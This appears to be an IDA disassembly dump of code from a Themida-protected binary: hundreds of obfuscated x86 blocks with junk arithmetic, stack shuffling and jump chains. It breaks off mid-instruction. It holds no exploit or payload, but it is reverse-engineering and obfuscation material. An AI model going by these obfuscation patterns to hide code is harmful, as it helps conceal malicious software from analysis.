loc_5711D4 ; --------------------------------------------------------------------------- loc_56DE69: ; CODE XREF: Themida_:0056562Bj mov eax, [esp] push eax mov eax, esp add eax, 4 jmp loc_56C7F9 ; --------------------------------------------------------------------------- loc_56DE79: ; CODE XREF: Themida_:0056A1AFj push ebx mov ebx, 561F58F4h neg ebx shr ebx, 1 jmp loc_569D82 ; --------------------------------------------------------------------------- loc_56DE88: ; CODE XREF: Themida_:0055ED9Bj mov ebx, 631B5371h add eax, ebx pop ebx jmp loc_561B57 ; --------------------------------------------------------------------------- loc_56DE95: ; CODE XREF: Themida_:0056D855j pop ebp push ebx mov ebx, 4 add ebp, ebx pop ebx push ecx push ebp mov ebp, 4 jmp loc_56F090 ; --------------------------------------------------------------------------- loc_56DEAB: ; CODE XREF: Themida_:00570B2Ej sub edx, 4528760Dh pop edi xor edx, [esp] jmp loc_56143C ; --------------------------------------------------------------------------- loc_56DEBA: ; CODE XREF: Themida_:00561FF1j xor cl, bh pop ebx jmp loc_56291A ; --------------------------------------------------------------------------- loc_56DEC2: ; CODE XREF: Themida_:0056EBFDj mov eax, [esp] add esp, 4 push edx jmp loc_56EC8E ; --------------------------------------------------------------------------- loc_56DED1: ; CODE XREF: Themida_:0056E395j pop ebx pop dword ptr [esp] jmp loc_560278 ; --------------------------------------------------------------------------- loc_56DEDA: ; CODE XREF: Themida_:0056ADC4j push ebx mov bh, 87h add bh, 13h push ecx mov ch, 45h jmp loc_56C761 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562A0A loc_56DEE8: ; CODE XREF: sub_562A0A+2144j mov cl, 49h sub cl, 7 sub cl, 0D9h push 2E13h mov [esp+8+var_8], eax mov ah, 0BCh shr ah, 7 not ah jmp loc_56C847 ; END OF FUNCTION CHUNK FOR sub_562A0A ; --------------------------------------------------------------------------- loc_56DF04: ; CODE XREF: Themida_:0056F7C0j add ecx, ebp jmp loc_55F3E8 ; --------------------------------------------------------------------------- loc_56DF0B: ; CODE XREF: Themida_:00571C2Bj mov [esp], ebp push 4DD732A0h mov ebp, [esp] add esp, 4 or ebp, 56333CF3h add ebp, 1 not ebp push edi push esi mov esi, 0DB01D98Dh mov edi, esi jmp loc_566AF7 ; --------------------------------------------------------------------------- loc_56DF35: ; CODE XREF: Themida_:00570436j and edi, 1AD10029h jmp loc_56FB9F ; --------------------------------------------------------------------------- loc_56DF40: ; CODE XREF: Themida_:005626B6j push edx jmp loc_564DAC ; --------------------------------------------------------------------------- loc_56DF46: ; CODE XREF: Themida_:0056F4FFj mov bl, 34h xor bl, ah pop eax mov cl, bl pop ebx jmp loc_56B9E2 ; --------------------------------------------------------------------------- loc_56DF53: ; CODE XREF: Themida_:005706B1j add esp, 4 jmp loc_56FBF3 ; --------------------------------------------------------------------------- loc_56DF5E: ; CODE XREF: Themida_:0056E2F3j mov eax, ecx pop ecx add esi, eax jmp loc_572119 ; --------------------------------------------------------------------------- loc_56DF68: ; CODE XREF: Themida_:005704CDj mov edi, [esp] push eax mov eax, esp jmp loc_570848 ; --------------------------------------------------------------------------- loc_56DF73: ; CODE XREF: Themida_:0055FD9Fj pop esi push ebp xor dword ptr [esp], 202B7A80h pop edi xor edi, 202B7A80h pop ebp add ebx, edi jmp loc_5646DE ; --------------------------------------------------------------------------- loc_56DF8B: ; CODE XREF: Themida_:005666FEj sub eax, 3289031Bh sub eax, 0E4342E7h sub eax, 0C31D2BCCh add ebp, eax pop eax xchg ebp, [esp] pop esp add bl, 4Eh push ecx mov cl, 0A4h add bl, 7Ch add bl, 0E0h jmp loc_55D3D1 ; --------------------------------------------------------------------------- mov cx, [esp] push 7642h mov [esp], edi mov edi, esp add edi, 4 push eax mov eax, 765A49A5h jmp loc_56BB73 ; --------------------------------------------------------------------------- loc_56DFD1: ; CODE XREF: Themida_:0056EE40j sub ecx, 3933B77h sub ecx, edx add ecx, 3933B77h pop edx add ebp, ecx mov ecx, [esp] push ebp jmp loc_56FB3C ; --------------------------------------------------------------------------- loc_56DFEB: ; CODE XREF: Themida_:0056EE6Bj mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] pop ecx jmp loc_566108 ; --------------------------------------------------------------------------- loc_56E007: ; CODE XREF: Themida_:005707E4j pop eax sub esp, 4 mov [esp], edx push ecx push 6A536116h jmp loc_567303 ; --------------------------------------------------------------------------- loc_56E01C: ; CODE XREF: Themida_:00560273j pop esi push ecx jmp loc_569582 ; --------------------------------------------------------------------------- loc_56E023: ; CODE XREF: Themida_:0056D549j sub al, 6Bh jmp loc_565003 ; --------------------------------------------------------------------------- loc_56E02A: ; CODE XREF: Themida_:005629A7j or ebp, 281C5059h xor ebp, 26882FC6h push ecx mov ecx, 599105DCh shr ecx, 8 xor ecx, 5F4A0DC8h shr ecx, 2 xor ecx, 0B72B22Ah sub ebp, ecx jmp loc_56627D ; --------------------------------------------------------------------------- loc_56E055: ; CODE XREF: Themida_:00567C0Cj mov [esp], eax jmp loc_568821 ; --------------------------------------------------------------------------- loc_56E05D: ; CODE XREF: Themida_:0056577Dj ror word ptr [esp], cl pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56E067: ; CODE XREF: Themida_:00571908j sub esp, 4 jmp loc_561510 ; --------------------------------------------------------------------------- loc_56E072: ; CODE XREF: Themida_:00569C63j pop dword ptr [esp] pop esp mov [esp], ebx mov ebx, esp jmp loc_563910 ; --------------------------------------------------------------------------- loc_56E080: ; CODE XREF: Themida_:005680B0j inc edx inc edx sub edx, 3CE55387h dec edx jmp loc_56591E ; --------------------------------------------------------------------------- loc_56E08E: ; CODE XREF: Themida_:0055E066j add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub bl, al sub bl, 0A4h sub bl, 4Eh add bl, 74h push ebp push esi push 563F01ABh jmp loc_56EE1D ; --------------------------------------------------------------------------- loc_56E0B3: ; CODE XREF: Themida_:005606ADj not ecx jmp loc_56054C ; --------------------------------------------------------------------------- loc_56E0BA: ; CODE XREF: Themida_:005688A4j mov [esp], ebp push ebp push 42BDh mov [esp], esp push ebp mov ebp, 4 jmp loc_567AE7 ; --------------------------------------------------------------------------- loc_56E0D1: ; CODE XREF: Themida_:0056B808j push 543Bh mov [esp], esi push ecx push edx mov edx, 1510982h mov ecx, 0A2772C3h jmp loc_564B14 ; --------------------------------------------------------------------------- loc_56E0EA: ; CODE XREF: Themida_:00568B45j pop eax add eax, 4 push ebp mov ebp, 4 add eax, ebp mov ebp, [esp] add esp, 4 jmp loc_56D119 ; --------------------------------------------------------------------------- loc_56E103: ; CODE XREF: Themida_:0056635Aj not edx add edx, 0FFFFFFFFh inc edx sub edx, 7F369058h mov ebx, edx jmp loc_56ED61 ; --------------------------------------------------------------------------- loc_56E119: ; CODE XREF: Themida_:005646FDj add edx, 4 xchg edx, [esp] pop esp jmp loc_55DCC0 ; --------------------------------------------------------------------------- loc_56E125: ; CODE XREF: Themida_:00562086j xchg ebp, [esp] pop esp jmp loc_56876F ; --------------------------------------------------------------------------- loc_56E12E: ; CODE XREF: Themida_:0056B189j mov [esp], esp push ecx mov ecx, 633065D1h jmp loc_5650F7 ; --------------------------------------------------------------------------- loc_56E13C: ; CODE XREF: Themida_:005674DEj sub al, 51h sub esp, 4 mov [esp], ecx mov ch, 69h and ch, 0DDh jmp loc_56196C ; --------------------------------------------------------------------------- loc_56E151: ; CODE XREF: Themida_:0055E6DDj shr ecx, 7 add ecx, 0FF0AD137h jmp loc_5668D1 ; --------------------------------------------------------------------------- loc_56E15F: ; CODE XREF: Themida_:00563EC9j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], edx sub esp, 4 mov [esp], edi mov edi, ebx push 3BE4h jmp loc_55DFD8 ; --------------------------------------------------------------------------- loc_56E192: ; CODE XREF: Themida_:0056EAE6j bts [esp], ax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56E19D: ; CODE XREF: Themida_:00567604j add esi, 4 jmp loc_55D31E ; --------------------------------------------------------------------------- loc_56E1A8: ; CODE XREF: Themida_:0056213Aj sub edx, ecx add edx, 5A877A1h mov ecx, [esp] jmp loc_55FBBA ; --------------------------------------------------------------------------- loc_56E1B8: ; CODE XREF: Themida_:005671F4j add esp, 4 add esi, 4 xchg esi, [esp] jmp loc_56CE37 ; --------------------------------------------------------------------------- loc_56E1C9: ; CODE XREF: Themida_:00571D42j not ecx xchg ecx, edi jmp loc_560AB7 ; --------------------------------------------------------------------------- loc_56E1D2: ; CODE XREF: Themida_:0056E899j push ebp mov ebp, 4 add edx, 25163A13h sub edx, 4F7D3462h sub edx, ebp jmp loc_561910 ; --------------------------------------------------------------------------- loc_56E1EB: ; CODE XREF: Themida_:0056F538j dec ebp not ebp shl ebp, 7 inc ebp add ebp, 8893DB03h jmp loc_55E75F ; --------------------------------------------------------------------------- loc_56E1FD: ; CODE XREF: Themida_:0055D596j push esi jmp loc_571454 ; --------------------------------------------------------------------------- loc_56E203: ; CODE XREF: Themida_:00568F4Ej push esp pop eax add eax, 4 add eax, 4 jmp loc_56D9FF ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebp push esp mov ebp, [esp] add esp, 4 push esi mov esi, 0A053C89h push edi mov edi, 0AE42964h sub edi, 0BF658CAh sub edi, 0F4E89415h sub esi, edi pop edi sub ebp, 0EE56F69h add ebp, esi add ebp, 0EE56F69h pop esi jmp loc_560DC0 ; --------------------------------------------------------------------------- loc_56E255: ; CODE XREF: Themida_:005605D7j mov [esp], ebp push esp pop ebp push edx push 891h mov [esp], ebx mov ebx, 41A61E73h jmp loc_5709EC ; --------------------------------------------------------------------------- loc_56E26D: ; CODE XREF: Themida_:00561C83j not dword ptr [esp] jmp loc_56F9C9 ; --------------------------------------------------------------------------- loc_56E275: ; CODE XREF: Themida_:00566018j xchg edi, ebp not edi xchg edi, ebp sub ebp, 9E8CBA1Ch sub ebx, 462144CEh push edi mov edi, 59E2377Eh and edi, 70D57369h xor edi, 40A32A1Eh add ebx, edi jmp loc_56E35D ; --------------------------------------------------------------------------- loc_56E2A0: ; CODE XREF: Themida_:0055D695j add eax, ebx add eax, 58E82A00h jmp loc_55D4FB ; --------------------------------------------------------------------------- loc_56E2AC: ; CODE XREF: Themida_:0056E9F8j sub ebx, ebp pop ebp add ebx, 462144CEh mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 push eax mov eax, 4 add ecx, eax jmp loc_567AF8 ; --------------------------------------------------------------------------- loc_56E2CE: ; CODE XREF: Themida_:00562EF4j pop ebx add al, dl sub al, 0CEh jmp loc_56AC0D ; --------------------------------------------------------------------------- loc_56E2D8: ; CODE XREF: Themida_:005654F1j shr esi, 1 neg esi add esi, 38EED180h and edx, esi pop esi jmp loc_566575 ; --------------------------------------------------------------------------- loc_56E2EA: ; CODE XREF: Themida_:0056CF0Cj add ecx, 0FFFFFFFFh sub ecx, 1F17529Ch jmp loc_56DF5E ; --------------------------------------------------------------------------- loc_56E2F8: ; CODE XREF: Themida_:005635E7j mov cl, 0DCh shr cl, 6 shl cl, 6 sub cl, 1 jmp loc_55F8FA ; --------------------------------------------------------------------------- loc_56E308: ; CODE XREF: Themida_:005664C1j mov esp, [esp] push ebx sub esp, 4 mov [esp], edx mov dh, al mov bl, dh push dword ptr [esp] pop edx push edx mov edx, esp push ecx mov ecx, 4 sub edx, 4F5201B6h jmp loc_55D543 ; --------------------------------------------------------------------------- loc_56E331: ; CODE XREF: Themida_:005616B5j mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] push edi push 1588h mov [esp], eax jmp loc_5632A1 ; --------------------------------------------------------------------------- loc_56E35D: ; CODE XREF: Themida_:0056E29Bj pop edi add ebx, ebp push ebp jmp loc_56BB55 ; --------------------------------------------------------------------------- loc_56E366: ; CODE XREF: Themida_:005698F0j neg ebx not ebx push esi jmp loc_55EE8A ; --------------------------------------------------------------------------- loc_56E370: ; CODE XREF: Themida_:0055DA91j mov dl, 0E9h push ecx sub esp, 4 jmp loc_570CCE ; --------------------------------------------------------------------------- loc_56E37B: ; CODE XREF: Themida_:005633D1j xchg edi, ebp not edi xchg edi, ebp xor ebp, 0F137FDA1h add ebx, ebp pop ebp pop ecx sub esp, 4 mov [esp], ebx push dword ptr [esp+4] jmp loc_56DED1 ; --------------------------------------------------------------------------- loc_56E39A: ; CODE XREF: Themida_:005683CAj pop edx sub dword ptr [esp+4], 5BD55E20h push ecx mov ecx, 71E705C9h sub dword ptr [esp+8], 0FAA0016h add [esp+8], ecx add dword ptr [esp+8], 0FAA0016h jmp loc_568286 ; --------------------------------------------------------------------------- loc_56E3C2: ; CODE XREF: Themida_:0056373Bj pop edi xor eax, esi pop esi push esi mov esi, 6747A630h sub eax, esi mov esi, [esp] jmp loc_5673A9 ; --------------------------------------------------------------------------- loc_56E3D6: ; CODE XREF: Themida_:0056BD13j push edi jmp loc_565996 ; --------------------------------------------------------------------------- loc_56E3DC: ; CODE XREF: Themida_:0056B3D7j push eax mov eax, 7351016Eh shl eax, 3 xor eax, 0FFF713F2h xor ebx, eax pop eax shr ebx, 7 dec ebx jmp loc_56241C ; --------------------------------------------------------------------------- lodsd push ecx push esi mov esi, 1DDF2328h mov ecx, 0E314045h add ecx, 32130ABBh add ecx, esi jmp loc_5670EB ; --------------------------------------------------------------------------- loc_56E410: ; CODE XREF: Themida_:0056A3A3j pop esp jmp loc_561435 ; --------------------------------------------------------------------------- loc_56E416: ; CODE XREF: Themida_:00565111j add edx, 4 add edx, 4 xchg edx, [esp] pop esp push ebp jmp loc_569EF2 ; --------------------------------------------------------------------------- loc_56E429: ; CODE XREF: Themida_:00567B3Aj push esp pop ebx jmp loc_568BB6 ; --------------------------------------------------------------------------- loc_56E430: ; CODE XREF: Themida_:005657F3j sub dword ptr [esp+4], 45B04FB4h sub dword ptr [esp+4], 31B10174h jmp loc_572356 ; --------------------------------------------------------------------------- loc_56E445: ; CODE XREF: Themida_:0055E513j pop eax jmp loc_560F48 ; --------------------------------------------------------------------------- add dword ptr [esp], 4 pop ebp push esi mov esi, 4 add ebp, esi pop esi push 3456h mov [esp], eax push ebp push eax mov eax, 47A66E27h shl eax, 4 and eax, 6CF80ACAh not eax xor eax, 0EBC9FCFDh push edx mov edx, eax mov ebp, edx pop edx pop eax xor ebp, 362249B4h shl ebp, 2 push ebx mov ebx, 47272C9Bh xor ebp, ebx pop ebx jmp loc_5695DA ; --------------------------------------------------------------------------- loc_56E495: ; CODE XREF: Themida_:0056E51Ej shr ecx, 3 jmp loc_56EF89 ; --------------------------------------------------------------------------- loc_56E49D: ; CODE XREF: Themida_:005648EEj mov [esp], ebx push 7F50h push 0B1h jmp loc_56ABDA ; --------------------------------------------------------------------------- loc_56E4AF: ; CODE XREF: Themida_:0056C9E4j mov [esp], edi sub esp, 4 mov [esp], ecx jmp loc_55FBE9 ; --------------------------------------------------------------------------- loc_56E4BD: ; CODE XREF: Themida_:00566656j push dword ptr [esp] jmp loc_56AEB8 ; --------------------------------------------------------------------------- loc_56E4C5: ; CODE XREF: Themida_:0056D122j mov edx, [esp] add esp, 4 pop eax pop ecx or ch, bh mov ebx, [esp] push 52B3h jmp loc_56A4EC ; --------------------------------------------------------------------------- loc_56E4DF: ; CODE XREF: Themida_:005682D7j mov edx, 13BF6A77h jmp loc_5659B7 ; --------------------------------------------------------------------------- loc_56E4E9: ; CODE XREF: Themida_:00564030j pop edx xchg ebx, [esp] mov esp, [esp] push 5EEh mov [esp], ecx mov ecx, 0 push esi mov esi, 6289714Eh xor esi, 37C80820h jmp loc_56737C ; --------------------------------------------------------------------------- loc_56E50E: ; CODE XREF: Themida_:005670FBj add edx, edi pop edi push esi push 756D7991h pop esi push ecx mov ecx, 0B50A6Dh jmp loc_56E495 ; --------------------------------------------------------------------------- loc_56E523: ; CODE XREF: Themida_:005682AAj sub bl, al push 449Dh mov [esp], edx push eax mov ah, 40h mov dl, ah pop eax shl dl, 1 push cx mov cl, 41h jmp loc_5688FB ; --------------------------------------------------------------------------- loc_56E53E: ; CODE XREF: Themida_:005659D4j mov ch, 9Fh add bh, ch mov ecx, [esp] sub esp, 4 jmp loc_56F340 ; --------------------------------------------------------------------------- loc_56E54D: ; CODE XREF: Themida_:00563A62j neg esi or esi, 1E2622A6h add esi, 880809h add edx, esi mov esi, [esp] add esp, 4 push ecx push edi mov edi, 77A3473Fh push edi pop ecx pop edi shr ecx, 6 push edx mov edx, 74580C41h neg edx jmp loc_5604E9 ; --------------------------------------------------------------------------- loc_56E580: ; CODE XREF: Themida_:0056C4C0j mov esi, edx pop edx sub esi, 3E701BB5h xor esi, 0E799DF08h jmp loc_56FF0B ; --------------------------------------------------------------------------- loc_56E594: ; CODE XREF: Themida_:00564D21j shr edi, 3 jmp loc_572227 ; --------------------------------------------------------------------------- loc_56E59C: ; CODE XREF: Themida_:0056A83Fj mov dh, bl pop ebx xchg dh, al xchg al, cl xor bl, cl xor cl, bl xor bl, cl push ecx sub esp, 4 mov [esp], edx mov dh, bl push 4E34h mov [esp], ebx mov bl, dh mov cl, bl jmp loc_56A9AC ; --------------------------------------------------------------------------- loc_56E5C3: ; CODE XREF: Themida_:00562429j sub esp, 4 mov [esp], ebp mov ebp, 49D14CFCh and ebp, 27F01C1Bh push eax mov eax, 13A50E27h add ebp, 26254DC6h jmp loc_572176 ; --------------------------------------------------------------------------- loc_56E5E5: ; CODE XREF: Themida_:00562F05j mov esp, [esp] push ebp jmp loc_55DF95 ; --------------------------------------------------------------------------- loc_56E5EE: ; CODE XREF: Themida_:0056D5D4j push edi mov edi, 4 add ecx, edi jmp loc_56DCEB ; --------------------------------------------------------------------------- loc_56E5FB: ; CODE XREF: Themida_:00561C44j sub esi, 1 jmp loc_571C6F ; --------------------------------------------------------------------------- loc_56E603: ; CODE XREF: Themida_:0055F919j mov al, dh pop edx push edx jmp loc_56EB1B ; --------------------------------------------------------------------------- loc_56E60C: ; CODE XREF: Themida_:00568434j add ebx, 23EF4B50h inc ebx jmp loc_5692AE ; --------------------------------------------------------------------------- loc_56E618: ; CODE XREF: Themida_:0055F54Cj mov edx, [esp] jmp loc_565116 ; --------------------------------------------------------------------------- loc_56E620: ; CODE XREF: Themida_:0055F299j shl cl, 3 shl cl, 1 neg cl shr cl, 8 xor cl, 0C4h sub cl, 0C0h sub cl, ah add cl, 0C0h pop eax shl cl, 7 or cl, 0FBh and cl, 46h inc cl shr cl, 7 add cl, 0D1h neg cl add cl, 41h push ebx mov bh, 7Dh inc bh dec bh jmp loc_56FAA2 ; --------------------------------------------------------------------------- loc_56E658: ; CODE XREF: Themida_:00561F8Cj push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 add esp, 4 push ecx mov ecx, 972B1916h push edx mov edx, 78807878h jmp loc_566909 ; --------------------------------------------------------------------------- loc_56E679: ; CODE XREF: Themida_:0056D148j pop ebp xchg esi, [esp] pop esp not edi shr edi, 6 sub edi, 1 push 727Ch mov [esp], eax mov eax, 15FE7A83h jmp loc_5721C2 ; --------------------------------------------------------------------------- loc_56E698: ; CODE XREF: Themida_:0056CCC3j mov eax, 3C5B45C3h xor eax, 1261AE8h add ebp, eax pop eax jmp loc_563F17 ; --------------------------------------------------------------------------- loc_56E6AA: ; CODE XREF: Themida_:0056DA19j add esp, 4 push dword ptr [esp] mov eax, [esp] push 5C62h mov [esp], edx jmp loc_56F5B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571676 loc_56E6C3: ; CODE XREF: sub_571676+3j mov [esp+0], edx jmp sub_55DEE3 ; END OF FUNCTION CHUNK FOR sub_571676 ; --------------------------------------------------------------------------- loc_56E6CB: ; CODE XREF: Themida_:00571FA7j mov ebp, 40C84C97h not ebp sub ebp, 5D3799FAh jmp loc_570AC5 ; --------------------------------------------------------------------------- loc_56E6DD: ; CODE XREF: Themida_:00565C3Bj sub edi, 248F47E2h push esi mov esi, 68F646BBh or esi, 7AF3330Bh add esi, 9CF0AB3Eh add edi, esi pop esi push dword ptr [esp] pop ebx push edx mov edx, esp jmp loc_55D929 ; --------------------------------------------------------------------------- loc_56E704: ; CODE XREF: Themida_:0056D519j mov edi, [esp] jmp loc_56426B ; --------------------------------------------------------------------------- loc_56E70C: ; CODE XREF: Themida_:0056C8F4j add dl, 20h xor ch, dl pop edx xor al, ch mov ecx, [esp] add esp, 4 push eax jmp loc_569695 ; --------------------------------------------------------------------------- loc_56E720: ; CODE XREF: Themida_:00569E75j pop eax shl eax, 5 xor eax, 0DEC6EDDh or eax, 4A8F7E55h sub esp, 4 mov [esp], ebx mov ebx, 5AD36CAFh xor ebx, 0C8A3D611h sub eax, ebx jmp loc_562F36 ; --------------------------------------------------------------------------- loc_56E749: ; CODE XREF: Themida_:0056B841j add edx, edi sub edx, 46FC75C5h add edx, 42AB6C9Fh push dword ptr [esp] pop edi add esp, 4 xchg edx, [esp] pop esp jmp loc_56961A ; --------------------------------------------------------------------------- loc_56E76A: ; CODE XREF: Themida_:00569352j add edx, 4 jmp loc_5729EC ; --------------------------------------------------------------------------- loc_56E775: ; CODE XREF: Themida_:0056C7E0j pop esp push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_55D8CA ; --------------------------------------------------------------------------- loc_56E787: ; CODE XREF: Themida_:005609A3j mov esi, [esp] add esp, 4 loc_56E78D: ; CODE XREF: Themida_:0057120Cj push 46C4h jmp loc_566D4E ; --------------------------------------------------------------------------- loc_56E797: ; CODE XREF: Themida_:0055F3B3j pop eax add edi, ecx add edi, 60DD1DD9h jmp loc_571A63 ; --------------------------------------------------------------------------- loc_56E7A5: ; CODE XREF: Themida_:00564A65j add esp, 4 add eax, 4 push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_55F573 ; --------------------------------------------------------------------------- loc_56E7C1: ; CODE XREF: Themida_:0055D635j push ecx push ebp push edi push ecx mov ecx, 27B565D1h shl ecx, 5 jmp loc_566E41 ; --------------------------------------------------------------------------- loc_56E7D2: ; CODE XREF: Themida_:00571E6Cj mov ebp, 3F3B000Dh add [esp+8], ebp pop ebp jmp loc_56839C ; --------------------------------------------------------------------------- loc_56E7E1: ; CODE XREF: Themida_:00569245j pop di shr dx, 6 jmp loc_565650 ; --------------------------------------------------------------------------- loc_56E7EC: ; CODE XREF: Themida_:0056425Bj pop esp add ebx, 1FBC5A7Dh add ebx, eax sub esp, 4 mov [esp], eax push edi push 41A4490Eh pop edi xor edi, 24973A30h mov eax, edi pop edi push edi mov edi, 37022956h shr edi, 1 sub edi, 0F89F9E2Dh jmp loc_562F74 ; --------------------------------------------------------------------------- loc_56E81E: ; CODE XREF: Themida_:005701C5j pop ebp jmp loc_564AA5 ; --------------------------------------------------------------------------- loc_56E824: ; CODE XREF: Themida_:00565FB3j push ebx jmp loc_55F0AA ; --------------------------------------------------------------------------- loc_56E82A: ; CODE XREF: Themida_:0056704Cj pop edx add esp, 4 jmp loc_55DA9C ; --------------------------------------------------------------------------- loc_56E833: ; CODE XREF: Themida_:005729F0j push dword ptr [esp+4] mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_56D371 ; --------------------------------------------------------------------------- loc_56E84D: ; CODE XREF: Themida_:00563DDFj sub esi, eax pop eax add esi, edi add esi, 63F63B8Dh add esi, 4C6702A6h jmp loc_570EF4 ; --------------------------------------------------------------------------- loc_56E863: ; CODE XREF: Themida_:005602BFj push dword ptr [esp] pop esi add esp, 4 jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56E872: ; CODE XREF: Themida_:00568360j pop edx push ebp mov ebp, 61385326h push ebp jmp loc_566476 ; --------------------------------------------------------------------------- loc_56E87F: ; CODE XREF: Themida_:0056BF88j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx mov edx, esp add edx, 4 jmp loc_56E1D2 ; --------------------------------------------------------------------------- loc_56E89E: ; CODE XREF: Themida_:0055F939j pop esi jmp loc_56FFB2 ; --------------------------------------------------------------------------- loc_56E8A4: ; CODE XREF: Themida_:0055D61Cj push edi xchg ebp, [esp] not ebp xchg ebp, [esp] pop edi push esi mov esi, 54D71925h jmp loc_562548 ; --------------------------------------------------------------------------- loc_56E8B9: ; CODE XREF: Themida_:005603BEj mov edx, ebp pop ebp jmp loc_5661BF ; --------------------------------------------------------------------------- loc_56E8C1: ; CODE XREF: Themida_:0056259Cj push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp push eax mov eax, 4 loc_56E8DD: ; CODE XREF: Themida_:00549CF4j sub edx, 2E354C7Dh add edx, eax push ecx jmp loc_560D70 ; --------------------------------------------------------------------------- loc_56E8EB: ; CODE XREF: Themida_:0056BBBEj add edi, 358B737Fh add edi, 7327BE5h add edi, edx sub edi, 7327BE5h sub edi, 358B737Fh pop edx push ebp mov ebp, 69BE2F74h jmp loc_56DD9C ; --------------------------------------------------------------------------- loc_56E911: ; CODE XREF: Themida_:005695E7j mov eax, ebp pop ebp dec eax shl eax, 3 sub eax, 0FFFFFFFFh sub eax, 0F4ACB22h sub ebp, 5F2C441Ah sub ebp, eax add ebp, 5F2C441Ah pop eax mov eax, ebp push dword ptr [esp] jmp loc_56AB94 ; --------------------------------------------------------------------------- loc_56E939: ; CODE XREF: Themida_:0056DD7Fj or esi, 30481F75h push ebx mov ebx, 7A4513DAh neg ebx inc ebx not ebx sub ebx, 137E7116h add ebx, 0F6FB87A7h or esi, ebx pop ebx dec esi jmp loc_56936A ; --------------------------------------------------------------------------- loc_56E95F: ; CODE XREF: Themida_:00567084j shl eax, 4 push esi mov esi, 4A355857h sub eax, esi pop esi jmp loc_55EE64 ; --------------------------------------------------------------------------- loc_56E970: ; CODE XREF: Themida_:0055DF62j mov esp, [esp] add ebx, 4 xchg ebx, [esp] mov esp, [esp] sub [esp], eax pushf jmp loc_5722B6 ; --------------------------------------------------------------------------- loc_56E988: ; CODE XREF: Themida_:005642FDj add esp, 4 push ecx push 7372h mov [esp], ebp mov ebp, 8FF3CCAh jmp loc_570C56 ; --------------------------------------------------------------------------- loc_56E9A1: ; CODE XREF: Themida_:0055E4FCj mov ebp, 4 add ecx, 5E7967C9h add ecx, ebp push eax push 468B6D9Dh pop eax jmp loc_56C109 ; --------------------------------------------------------------------------- loc_56E9BA: ; CODE XREF: Themida_:0056555Bj push eax mov eax, 0B984069h add eax, 24B95860h inc eax and eax, 41072A92h jmp loc_55F8BA ; --------------------------------------------------------------------------- loc_56E9D0: ; CODE XREF: Themida_:0056EB54j xor ebp, ecx pop ecx add edi, ebp pop ebp shl edi, 1 sub edi, 0AC3B2CCAh xor edi, 156E7718h jmp loc_55DF19 ; --------------------------------------------------------------------------- loc_56E9E9: ; CODE XREF: Themida_:0056BB61j shl ebp, 8 and ebp, 61F86C75h xor ebp, 50435D76h jmp loc_56E2AC ; --------------------------------------------------------------------------- loc_56E9FD: ; CODE XREF: Themida_:00565C4Bj sub ebx, eax add ebx, 314C5C30h mov eax, [esp] push ebp mov ebp, esp jmp loc_56AC3A ; --------------------------------------------------------------------------- loc_56EA10: ; CODE XREF: Themida_:005701CBj push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp jmp loc_5645CD ; --------------------------------------------------------------------------- loc_56EA1F: ; CODE XREF: Themida_:00572896j pop ecx jmp loc_55EEE7 ; --------------------------------------------------------------------------- loc_56EA25: ; CODE XREF: Themida_:00569AC3j mov ebx, edx pop edx mov eax, [esp] push 78DBh jmp loc_5646C2 ; --------------------------------------------------------------------------- loc_56EA35: ; CODE XREF: Themida_:0055E8CEj add esp, 4 jmp loc_567664 ; --------------------------------------------------------------------------- loc_56EA3D: ; CODE XREF: Themida_:00568C4Bj push ebp jmp loc_56CF42 ; --------------------------------------------------------------------------- loc_56EA43: ; CODE XREF: Themida_:0055DFE1j mov esi, 78743BB7h push 139Eh mov [esp], edi jmp loc_5646A3 ; --------------------------------------------------------------------------- loc_56EA55: ; CODE XREF: Themida_:00560742j pop dword ptr [esp] mov esp, [esp] or [esp], ax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56EA65: ; CODE XREF: Themida_:005667C8j add edx, 4 jmp loc_561DF2 ; --------------------------------------------------------------------------- loc_56EA70: ; CODE XREF: Themida_:00565BD4j mov esi, ebx pop ebx inc esi xor esi, 7C52A9A5h xor edi, esi jmp loc_564EBE ; --------------------------------------------------------------------------- mov ax, [esp] push esi mov esi, esp push ebx mov ebx, 4 add esi, ebx pop ebx jmp loc_566AAA ; --------------------------------------------------------------------------- loc_56EA96: ; CODE XREF: Themida_:00566978j pop dword ptr [esp] push 7A55h jmp loc_562211 ; --------------------------------------------------------------------------- loc_56EAA3: ; CODE XREF: Themida_:0056232Cj mov [esp], edi push 72A9h mov [esp], esp add dword ptr [esp], 4 jmp loc_55E37F ; --------------------------------------------------------------------------- loc_56EABA: ; CODE XREF: Themida_:0056508Cj mov ebp, 42AC5CE0h xor ebp, 34156AB5h push ebp not dword ptr [esp] pop ebp add ebp, 76B93658h add edi, ebp pop ebp push 30C9h mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_56E192 ; --------------------------------------------------------------------------- loc_56EAEB: ; CODE XREF: Themida_:00568469j push ebp mov ebp, 7F69F7h jmp loc_5670F8 ; --------------------------------------------------------------------------- loc_56EAF6: ; CODE XREF: Themida_:0056A67Cj xor ah, 5 inc ah jmp loc_561647 ; --------------------------------------------------------------------------- loc_56EB00: ; CODE XREF: Themida_:0056A492j pop dword ptr [esp] jmp 